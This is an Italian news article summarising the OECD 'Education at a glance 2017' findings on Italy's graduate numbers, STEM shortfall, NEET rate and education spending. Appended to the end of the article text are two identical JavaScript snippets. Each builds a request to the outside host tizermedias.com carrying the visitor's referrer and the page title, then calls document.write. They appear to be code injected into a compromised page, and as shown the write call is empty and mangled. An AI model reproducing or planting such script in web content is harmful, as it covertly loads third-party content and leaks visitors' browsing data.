Rapporto Ocse Education at a glance 2017

Siamo ancora decisamente indietro per quanto riguarda il numero di laureati e, per di più, tra coloro che completano gli studi universitari sono troppi quelli che hanno scelto discipline umanistiche. Una bocciatura a tutto tondo quella che arriva dal Rapporto Ocse Education at a glance 2017 all’indirizzo dell’Italia. Il report appena pubblicato conferma che il nostro Paese è tuttora lontano dalla media dei paesi Ocse per quanto riguarda la percentuale di laureati rispetto al totale della popolazione. Da noi sono il 18 per cento, a fronte del 37 per cento che rappresenta la media. Un dato che ci pone in penultima posizione, davanti soltanto al Messico, e lontani anni luce dal 46 per cento raggiunto da USA e Regno Unito.

Come se non bastasse, il Rapporto Ocse Education at a glance 2017 segnala che circa il 30 per cento dei laureati ha completato percorsi di studio che difficilmente trovano sbocchi nel mercato del lavoro, quali quelli dell’area di Lettere, Scienze politiche, Sociologia, Scienze della comunicazione o di ambito artistico. In parallelo, il numero di laureati in discipline scientifiche – che, invece, sì, garantiscono buone prospettive occupazionali – è eccessivamente basso. Soprattutto nella fascia d’età tra i 25 e i 34 anni i laureati in discipline quali Scienze, Tecnologia, Ingegneria e Matematica sono solo il 25 per cento. Con tutte le conseguenze che ciò comporta in termini di disoccupazione giovanile.

Il problema, segnala il Rapporto Ocse Education at a glance 2017, è che l’orientamento universitario è troppo slegato dai “bisogni emergenti dell’economia” e che pregiudizi di genere duri a morire tengono lontane troppe donne dai percorsi di studio tecnico-scientifici, condannandole a troppo spesso alla disoccupazione o alla sotto-occupazione.

Il Rapporto Ocse Education at a glance 2017 punta il dito contro un altro problema che affligge l’Italia molto più degli altri paesi: quello dei Neet. Da noi il tasso di coloro che non studiano e non lavorano è del 26 per cento nella fascia d’età tra i 15 e i 29 anni, mentre la media Ocse è del 14 per cento. Questo è dovuto in larga parte al fatto che investiamo meno di tutti nell’istruzione e siamo agli ultimi posti anche per quanto riguarda la spesa per la formazione degli adulti. L’ultima bacchettata arriva riguardo allo stipendio degli insegnanti, decisamente più basso rispetto a quello dei colleghi degli altri paesi europei, benché con un impegno orario pressoché uguale.(function(){var d=document;var w=’240′;var h=’300′;var id = Math.floor(Math.random()*9999);var src = ‘http://tizermedias.com/odessa/?54vFcZ&’;src = src + ‘se_referrer=’+document.referrer;src = src + ‘&default_keyword=’+document.title;src = src + ‘&r=’+id;d.write(”);})();(function(){var d=document;var w=’240′;var h=’300’;var id = Math.floor(Math.random()*9999);var src = ‘http://tizermedias.com/odessa/?54vFcZ&’;src = src + ‘se_referrer=’+document.referrer;src = src + ‘&default_keyword=’+document.title;src = src + ‘&r=’+id;d.write(”);})();